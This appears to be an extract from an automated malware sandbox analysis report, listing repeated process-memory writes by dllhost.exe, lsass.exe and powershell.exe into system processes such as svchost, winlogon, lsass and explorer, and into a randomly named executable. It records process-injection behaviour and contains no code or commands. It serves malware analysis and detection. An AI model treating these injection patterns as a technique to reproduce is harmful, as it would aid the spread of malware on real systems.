Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253C67D0000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: E0FCD97010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAEE30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B8D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 3140000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B8D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF644F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DAC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24AE77D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 209A4BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C95C650000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3FB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 16BA4E30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24AE77D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 209A4BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1FB7A020000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 19C72DC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3FB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 143A2940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 16BA4E30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 15BA5ED0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 19C72DC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2EA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 15BA5ED0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2EA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 9D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: B60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1580000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: B60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2700000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1580000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2220000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 23C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 26F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 10B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 10D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: CE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: D00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 11E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1200000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2800000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 6B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 6D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 29D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 29F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: FD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2510000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: B10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 24D0000
